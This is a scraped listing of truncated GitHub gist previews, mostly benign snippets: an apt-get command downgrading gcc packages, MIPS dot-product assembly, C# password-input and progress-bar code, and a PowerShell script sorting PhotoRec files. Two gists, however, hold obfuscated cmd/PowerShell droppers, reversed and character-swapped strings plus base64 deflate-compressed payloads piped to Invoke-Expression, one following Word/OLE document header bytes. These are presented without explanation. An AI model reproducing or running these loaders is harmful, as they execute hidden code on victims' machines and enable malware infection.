View repair-gcc.sh
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
sudo apt-get -f --allow-downgrades install cpp-10=10-20200411-0ubuntu1 gcc-10-base:i386=10-20200411-0ubuntu1 gcc-10-base=10-20200411-0ubuntu1 gcc-10=10-20200411-0ubuntu1 lib32atomic1=10-20200411-0ubuntu1 lib32gcc-s1=10-20200411-0ubuntu1 lib32gcc1 lib32gomp1=10-20200411-0ubuntu1 lib32itm1=10-20200411-0ubuntu1 lib32quadmath0=10-20200411-0ubuntu1 lib32stdc++6=10-20200411-0ubuntu1 libasan6=10-20200411-0ubuntu1 libatomic1:i386=10-20200411-0ubuntu1 libatomic1=10-20200411-0ubuntu1 libcc1-0=10-20200411-0ubuntu1 libgcc-10-dev=10-20200411-0ubuntu1 libgcc-s1:i386=10-20200411-0ubuntu1 libgcc-s1=10-20200411-0ubuntu1 libgcc1 libgomp1=10-20200411-0ubuntu1 libitm1=10-20200411-0ubuntu1 liblsan0=10-20200411-0ubuntu1 libquadmath0=10-20200411-0ubuntu1 libstdc++6=10-20200411-0ubuntu1 libstdc++6:i386=10-20200411-0ubuntu1 libtsan0=10-20200411-0ubuntu1 libubsan1=10-20200411-0ubuntu1 libx32atomic1=10-20200411-0ubuntu1 libx32gcc-s1=10-20200411-0ubuntu1 libx32gcc1 libx32gomp1=10-20200411-0ubuntu1 libx32itm1=10-20200411-0ubuntu1 libx32q |
View dotprod.s
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
main: | |
addi $sp, $sp, -4 # stack für result | |
sw $zero, 0($sp) # result = 0 | |
addi $v0, $zero, 9 # syscall sbrk | |
addi $a0, $zero, 80 # allocate 20 words | |
syscall # malloc | |
or $a1, $v0, $zero # &A[0] | |
addi $a2, $a1, 40 # &B[0] | |
add $a3, $zero, $sp # result | |
addi $a0, $zero, 10 # n = 10 |
View PasswordInput.cs
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
string password = ""; | |
string passwordPrompt = "Password: "; | |
Console.Write(passwordPrompt); | |
while (true) | |
{ | |
ConsoleKeyInfo key = Console.ReadKey(true); | |
if (key.Key == ConsoleKey.Enter) | |
{ | |
break; | |
} |
View sort_photorec_files_by_extension.ps1
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$root = '/' | |
Set-Location -Path $root | |
$a = $(Get-ChildItem | Where-Object {$_.Name -like 'recup*'}) | |
$totalfiles = 0 | |
$filecount = 0 | |
foreach ($folder in $a) { | |
$totalfiles += $(Get-ChildItem $folder).Count | |
} | |
foreach ($folder in $a) { |
View gist:6b5a0ed1ee6f3b1c4118c6ba05ae7eea
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
cmd /c cmd /c "set vtb=Store-Variable H14a (")'Xei' (.^|)93]rAhC[,'UOr'eCalperC-'$',)'D6U'( eCalperC-'|',)'vpk'( eCalperC- )')UOrXUOr+]31[DiLleHsD6U+]1[diLLEHSD6U (^&vpk)(dneOtdaEr.))iICSA::]gNiDocNE.TXET.MEtSYs[, )) ssErpmOCed::]edomNoIsseRpmoC.noissErpmOC.Oi.MetsYS[ ,) UOrP4+usVoZJotY75NUYmueNCDxKnuGdhwMFyMjJQVe7zgT1KjsJ8fUpxr2bHKcOLtjmnL6nEyQ+tZ3wkAwYuH0ebs/eYGkwWLdIUo21impZs8gDGqOdzn2pYXJg3JlLNC5D77v8El1fkeegklUWP5MPf8rO6xnffUGAOVVVJomJxCUM+SOlfLzfbZx4jDQ6TWhuz3SBbWD/ngGqO7ARGjUnVz/X2KXSP498UiJRgRnelNYTXw9CndtliYVUF5SoRxT/GQ2sYgzwK4PN8EUUryvy4wcX68//vNuBeHeIBGUlA6Ob1Tb3k4iLmopq3gTmi0apScJVGcHmsYhfZIFwMoTRDZNUOr(gNirts46ESabMORf::]Trevnoc[]mAErtsyRomEm.oi[ (maErTsETAlfed.noISserpmOC.oI.mEtSYS TCEjbo-WEn ( (redaerMAerTS.Oi.MetSyS TCEjbo-WEn( '(( " );^&((gi VarIAble:h14a).value[-1..-((gi VarIAble:h14a).value.lenGtH)]) &&powershell (item env:vtb).Value | iex" | |
(New-Object System.IO.StreamReader((New-Object System.IO.Compression.DeflateStream([IO.MemoryStream][System.Convert]::FromBase64String(),[System.IO. |
View gist:070a8b7f0f5a56519a9a44aabd22c13b
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
ࡱ> fie] bjbj .ee++{{{_! $ #%*!{"!++E! `+8{ c ]^un /!0_! % % %{ @ !! _!% | |
: | |
CMD c:\winDOws\SyStem32\Cmd.exe /c "Set aKnI=( New-OBJeCT SYSteM.iO.StReAmReADER(( New-OBJeCT io.COmPREsSIOn.deFlateSTREAM( [SysTeM.io.MEmORYstreAM][CONvErT]::FROMbaSe64sTriNg( 'NZBfa8IwFEe/Sh8CUVxTlb3MUHAoG24wkLHJYC9pem1imz+2t8ZN/O5ry3z9ncOBe4naHlMLIXbZASRGb4BsB9mq0mCRk8+tSKlC9IskCSGwRsu9aZh0Jml+MuteH5b/NKtc0e8HUQgchOBj6Sx2ncTs8vNNnN3P5g22uXa5Gbzz8/pxerzhBkWhbcGyWucFSJdDJ7G2TMK2nqrfj5tXaQ/YlLHXJ8fqNlGUvftK44gu6ZiT9iVEaURnc8qJMl8pAXtaIBg/od900uMJZXAGyveuBiHViHizirSN+pvHF6x/LqT7DVu7YCsn8iddweDcRX1wzDf25EqIN110WHjWdUp+lQKlulyvfw==' ), [Io.coMPrEssion.ComprEssIOnmoDE]::decomPRESS) ),[tExT.ENCoding]::Ascii) ).REadtoEnD() ^| .( $ShElLId[1]+$SHeLliD[13]+'x')&& poWErshElL ( .( \"{0}{1}\" -f'd','ir') ( \"{4}{5}{3}{2}{1}{0}{6}\" -f'O','c','N','TIO','Variable:e' |
View ConsoleProgressbar.cs
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
void RenderProgressbar(int percentage) { | |
int width = Console.WindowWidth - 3 - 3 - 2; | |
int number = (int)(((double)percentage / 100) * width); | |
string pattern = ""; | |
for (int j = 0; j < number; j++) | |
{ | |
pattern += "#"; | |
} | |
for (int j = 0; j < width - number; j++) | |
{ |